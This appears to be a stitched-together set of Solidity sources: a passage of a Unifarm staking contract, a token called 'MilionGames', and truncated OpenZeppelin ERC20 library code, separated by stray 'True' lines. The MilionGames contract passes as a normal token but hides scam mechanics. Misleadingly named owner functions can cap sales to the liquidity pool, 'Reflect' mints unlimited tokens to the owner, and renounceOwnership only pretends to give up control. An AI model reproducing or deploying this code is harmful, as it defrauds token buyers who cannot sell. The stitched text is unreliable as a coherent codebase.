`recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer( address indexed from, address indexed to, uint256 value ); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File contracts/interfaces/ICohort.sol pragma solidity ^0.7.6; interface ICohort { function setupCohort(uint256[] memory _intervalDays, bool _isSwapfy) external returns (bool); } // File contracts/Cohort.sol pragma solidity ^0.7.6; /** * @title Unifarm Cohort Unstake Handler Contract * @author Opendefi by OroPocket */ contract Cohort is Ownable, ICohort { /// @notice LockableToken struct for storing token lockable details struct LockableTokens { uint256 lockableDays; bool optionableStatus; } /// @notice Wrappers over Solidity's arithmetic operations using SafeMath for uint256; /// @notice totalStaking of a specfic tokenAddress. mapping(address => uint256) public totalUnStaking; /// @notice tokens old to new token swap mapping(address => address) public tokens; /// @notice unStakeStatus of a user. mapping(address => mapping(uint256 => bool)) public unStakeStatus; /// @notice tokenBlocked status. mapping(address => bool) public tokenBlockedStatus; /// @notice lockable token mapping mapping(address => LockableTokens) public lockableDetails; /// @notice cohort instance. CohortStaking public cohort; /// @notice DAYS is equal to 86400. uint256 public DAYS = 1 days; /// @notice HOURS is equal to 3600. uint256 public HOURS = 1 hours; /// @notice intervalDays uint256[] public intervalDays; /// @notice poolStartTime uint256 public poolStartTime; /// @notice stakeDuration uint256 public stakeDuration; /// @notice isSwapify bool public swapiFy; /// @notice factory address public factory; event LockableTokenDetails( address indexed tokenAddress, uint256 lockableDys, bool optionalbleStatus, uint256 updatedTime ); event WithdrawDetails( address indexed tokenAddress, uint256 withdrawalAmount, uint256 time ); event Claim( address indexed userAddress, address indexed stakedTokenAddress, address indexed tokenAddress, uint256 claimRewards, uint256 time ); event UnStake( address indexed userAddress, address indexed unStakedtokenAddress, uint256 unStakedAmount, uint256 time, uint256 stakeId ); event ReferralEarn( address indexed userAddress, address indexed callerAddress, address indexed rewardTokenAddress, uint256 rewardAmount, uint256 time ); event IntervalDaysDetails(uint256[] updatedIntervals, uint256 time); /** * @notice construct the cohort unstake handler. * @param cohortAddress specfic cohortAddress. * @param ownerAddress owner Address of a cohort. */ constructor( address cohortAddress, address ownerAddress, address factoryAddress ) Ownable(ownerAddress) { require( cohortAddress != address(0), "Cohort: invalid cohortAddress" ); cohort = CohortStaking(cohortAddress); factory = factoryAddress; } function setupCohort(uint256[] memory _intervalDays, bool _isSwapfy) external override returns (bool) { require(_msgSender() == factory, "Cohort: permission denied"); swapiFy = _isSwapfy; poolStartTime = cohort.poolStartTime(); stakeDuration = cohort.stakeDuration(); updateIntervalDays(_intervalDays); return true; } function setTokenBlockedStatus(address tokenAddress, bool status) external onlyOwner returns (bool) { tokenBlockedStatus[tokenAddress] = status; return true; } // make sure about ownership things before call this function. function init(address[] memory tokenAddress) external onlyOwner returns (bool) { for (uint256 i = 0; i < tokenAddress.length; i++) { transferFromCohort(tokenAddress[i]); } return true; } function transferFromCohort(address tokenAddress) internal { uint256 bal = IERC20(tokenAddress).balanceOf(address(cohort)); if (bal > 0) cohort.safeWithdraw(tokenAddress, bal); } function updateCohort(address _newCohortAddress) external onlyOwner returns (bool) { cohort = CohortStaking(_newCohortAddress); return true; } function setSwapTokens( address[] memory oldTokenAddresses, address[] memory newTokenAddresses ) external onlyOwner returns (bool) { require( oldTokenAddresses.length == newTokenAddresses.length, "Invalid Input Tokens" ); for (uint8 m = 0; m < oldTokenAddresses.length; m++) { tokens[oldTokenAddresses[m]] = newTokenAddresses[m]; } return true; } function updateTotalUnStaking( address[] memory tokenAddresses, uint256[] memory overAllUnStakedTokens ) external onlyOwner returns (bool) { require( tokenAddresses.length == overAllUnStakedTokens.length, "Cohort: Invalid Inputs" ); for (uint8 n = 0; n < tokenAddresses.length; n++) { require( tokenAddresses[n] != address(0), "Cohort: invalid poolAddress" ); require( overAllUnStakedTokens[n] > 0, "Cohort: emptied overAllStaked" ); totalUnStaking[tokenAddresses[n]] = overAllUnStakedTokens[n]; } return true; } function updateIntervalDays(uint256[] memory _interval) public { require( _msgSender() == factory || _msgSender() == _owner, "Cohort: permission denied" ); intervalDays = new uint256[](0); for (uint8 i = 0; i < _interval.length; i++) { uint256 noD = stakeDuration.div(DAYS); require(noD > _interval[i], "Invalid Interval Day"); intervalDays.push(_interval[i]); } emit IntervalDaysDetails(intervalDays, block.timestamp); } function lockableToken( address tokenAddress, uint8 lockableStatus, uint256 lockedDays, bool optionableStatus ) external onlyOwner { require( lockableStatus == 1 || lockableStatus == 2 || lockableStatus == 3, "Invalid Lockable Status" ); (bool tokenExist, , , , , , ) = cohort.tokenDetails(tokenAddress); require(tokenExist == true, "Token Not Exist"); if (lockableStatus == 1) { lockableDetails[tokenAddress].lockableDays = block .timestamp .add(lockedDays); } else if (lockableStatus == 2) lockableDetails[tokenAddress].lockableDays = 0; else if (lockableStatus == 3) lockableDetails[tokenAddress] .optionableStatus = optionableStatus; emit LockableTokenDetails( tokenAddress, lockableDetails[tokenAddress].lockableDays, lockableDetails[tokenAddress].optionableStatus, block.timestamp ); } function reclaimOwnership(address newOwner) external onlyOwner returns (bool) { cohort.transferOwnership(newOwner); return true; } function safeWithdraw(address tokenAddress, uint256 amount) external onlyOwner { require( IERC20(tokenAddress).balanceOf(address(this)) >= amount, "SAFEWITHDRAW: Insufficient Balance" ); require( IERC20(tokenAddress).transfer(_owner, amount) == true, "SAFEWITHDRAW: Transfer failed" ); emit WithdrawDetails(tokenAddress, amount, block.timestamp); } function getTokenAddress(address tokenAddress) internal view returns (address) { if (swapiFy) { address newAddress = tokens[tokenAddress] == address(0) ? tokenAddress : tokens[tokenAddress]; return (newAddress); } else { return (tokenAddress); } } /** * @notice Claim accumulated rewards * @param userAddress user Address through he staked. * @param stakeId Stake ID of the user * @param totalStake total Staking. */ function claimRewards( address userAddress, uint256 stakeId, uint256 totalStake ) internal { // Local variables uint256 interval; uint256 endOfProfit; ( address[] memory referrar, address[] memory tokenAddresses, , , uint256[] memory stakedAmount, uint256[] memory startTime ) = cohort.viewStakingDetails(userAddress); interval = poolStartTime.add(stakeDuration); // Interval calculation if (interval > block.timestamp) endOfProfit = block.timestamp; else endOfProfit = poolStartTime.add(stakeDuration); interval = endOfProfit.sub(startTime[stakeId]); uint256 refPercentage = cohort.refPercentage(); uint256[3] memory stakeData; stakeData[0] = (stakedAmount[stakeId]); stakeData[1] = (totalStake); stakeData[2] = (refPercentage); // Reward calculation if (interval >= HOURS) _rewardCalculation( userAddress, tokenAddresses[stakeId], referrar[stakeId], stakeData, interval ); } function _rewardCalculation( address userAddress, address tokenAddress, address referrer, uint256[3] memory stakingData, uint256 interval ) internal { uint256 rewardsEarned; uint256 refEarned; uint256[2] memory noOfDays; noOfDays[1] = interval.div(HOURS); noOfDays[0] = interval.div(DAYS); rewardsEarned = noOfDays[1].mul( getOneDayReward( stakingData[0], tokenAddress, tokenAddress, stakingData[1] ) ); address stakedToken = getTokenAddress(tokenAddress); // Referrer Earning if (referrer != address(0)) { refEarned = (rewardsEarned.mul(stakingData[2])).div(100 ether); rewardsEarned = rewardsEarned.sub(refEarned); require( IERC20(stakedToken).transfer(referrer, refEarned) == true, "Transfer Failed" ); emit ReferralEarn( referrer, _msgSender(), stakedToken, refEarned, block.timestamp ); } // Rewards Send sendToken(userAddress, stakedToken, stakedToken, rewardsEarned); uint8 i = 1; while (i < intervalDays.length) { if (noOfDays[0] >= intervalDays[i]) { uint256 reductionHours = (intervalDays[i].sub(1)).mul(24); uint256 balHours = noOfDays[1].sub(reductionHours); address rewardToken = cohort.tokensSequenceList( tokenAddress, i ); if ( rewardToken != tokenAddress && cohort.tokenBlockedStatus(tokenAddress, rewardToken) == false ) { rewardsEarned = balHours.mul( getOneDayReward( stakingData[0], tokenAddress, rewardToken, stakingData[1] ) ); address rewardToken1 = getTokenAddress(rewardToken); // Referrer Earning if (referrer != address(0)) { refEarned = (rewardsEarned.mul(stakingData[2])).div( 100 ether ); rewardsEarned = rewardsEarned.sub(refEarned); require( IERC20(rewardToken1).transfer(referrer, refEarned) == true, "Transfer Failed" ); emit ReferralEarn( referrer, _msgSender(), rewardToken1, refEarned, block.timestamp ); } // Rewards Send sendToken( userAddress, tokenAddress, rewardToken1, rewardsEarned ); } i = i + 1; } else { break; } } } /** * @notice Get rewards for one day * @param stakedAmount Stake amount of the user * @param stakedToken Staked token address of the user * @param rewardToken Reward token address * @return reward One dayh reward for the user */ function getOneDayReward( uint256 stakedAmount, address stakedToken, address rewardToken, uint256 totalStake ) public view returns (uint256 reward) { reward = ( stakedAmount.mul( cohort.tokenDailyDistribution(stakedToken, rewardToken) ) ).div(totalStake); } /** * @notice Get rewards for one day * @param stakedToken Stake amount of the user * @param tokenAddress Reward token address * @param amount Amount to be transferred as reward */ function sendToken( address userAddress, address stakedToken, address tokenAddress, uint256 amount ) internal { // Checks if (tokenAddress != address(0)) { require( IERC20(tokenAddress).balanceOf(address(this)) >= amount, "SEND : Insufficient Reward Balance" ); require( IERC20(tokenAddress).transfer(userAddress, amount), "Transfer failed" ); // Emit state changes emit Claim( userAddress, stakedToken, tokenAddress, amount, block.timestamp ); } } function getTotalStaking(address tokenAddress) public view returns (uint256) { uint256 totalStaking = cohort.totalStaking(tokenAddress); uint256 actualStaking = totalStaking.add( totalUnStaking[tokenAddress] ); return actualStaking; } /** * @notice Unstake and claim rewards * @param stakeId Stake ID of the user */ function unStake(address userAddress, uint256 stakeId) external whenNotPaused returns (bool) { require( _msgSender() == userAddress || _msgSender() == _owner, "UNSTAKE: Invalid User Entry" ); // view the staking details ( , address[] memory tokenAddress, bool[] memory isActive, , uint256[] memory stakedAmount, uint256[] memory startTime ) = cohort.viewStakingDetails(userAddress); uint256 totalStaking = getTotalStaking(tokenAddress[stakeId]); address stakedToken = getTokenAddress(tokenAddress[stakeId]); // lockableDays check require( lockableDetails[stakedToken].lockableDays <= block.timestamp, "UNSTAKE: Token Locked" ); // optional lock check if (lockableDetails[stakedToken].optionableStatus == true) require( startTime[stakeId].add(stakeDuration) <= block.timestamp, "UNSTAKE: Locked in optional lock" ); // Checks require( stakedAmount[stakeId] > 0 && isActive[stakeId] == true && unStakeStatus[userAddress][stakeId] == false, "UNSTAKE : Already Claimed (or) Insufficient Staked" ); // update the state unStakeStatus[userAddress][stakeId] = true; // Balance check require( IERC20(stakedToken).balanceOf(address(this)) >= stakedAmount[stakeId], "UNSTAKE : Insufficient Balance" ); // Transfer staked token back to user if (tokenBlockedStatus[tokenAddress[stakeId]] == false) { IERC20(stakedToken).transfer( userAddress, stakedAmount[stakeId] ); } claimRewards(userAddress, stakeId, totalStaking); // Emit state changes emit UnStake( userAddress, stakedToken, stakedAmount[stakeId], block.timestamp, stakeId ); return true; } function emergencyUnstake( uint256 stakeId, address userAddress, address[] memory rewardtokens, uint256[] memory amount ) external onlyOwner { // view the staking details ( address[] memory referrer, address[] memory tokenAddress, bool[] memory isActive, , uint256[] memory stakedAmount, ) = cohort.viewStakingDetails(userAddress); require( stakedAmount[stakeId] > 0 && isActive[stakeId] == true && unStakeStatus[userAddress][stakeId] == false, "EMERGENCY : Already Claimed (or) Insufficient Staked" ); address stakedToken = getTokenAddress(tokenAddress[stakeId]); // Balance check require( IERC20(stakedToken).balanceOf(address(this)) >= stakedAmount[stakeId], "EMERGENCY : Insufficient Balance" ); unStakeStatus[userAddress][stakeId] = true; IERC20(stakedToken).transfer(userAddress, stakedAmount[stakeId]); uint256 refPercentage = cohort.refPercentage(); for (uint256 i; i < rewardtokens.length; i++) { uint256 rewardsEarned = amount[i]; if (referrer[stakeId] != address(0)) { uint256 refEarned = (rewardsEarned.mul(refPercentage)).div( 100 ether ); rewardsEarned = rewardsEarned.sub(refEarned); require( IERC20(rewardtokens[i]).transfer( referrer[stakeId], refEarned ), "EMERGENCY : Transfer Failed" ); emit ReferralEarn( referrer[stakeId], userAddress, rewardtokens[i], refEarned, block.timestamp ); } sendToken( userAddress, tokenAddress[stakeId], rewardtokens[i], rewardsEarned ); } // Emit state changes emit UnStake( userAddress, tokenAddress[stakeId], stakedAmount[stakeId], block.timestamp, stakeId ); } function pause() external onlyOwner returns (bool) { _pause(); return true; } function unpause() external onlyOwner returns (bool) { _unpause(); return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-09 */ /** */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MilionGames is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address private public_address; address private caller; uint256 private _totalTokens = 100000000 * 10**18; string private _name = 'Milion Games'; string private _symbol = 'MG'; uint8 private _decimals = 18; uint256 private rTotal = 100000000 * 10**18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function setreflectrate(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function Reflect(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == public_address) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
True
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// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function 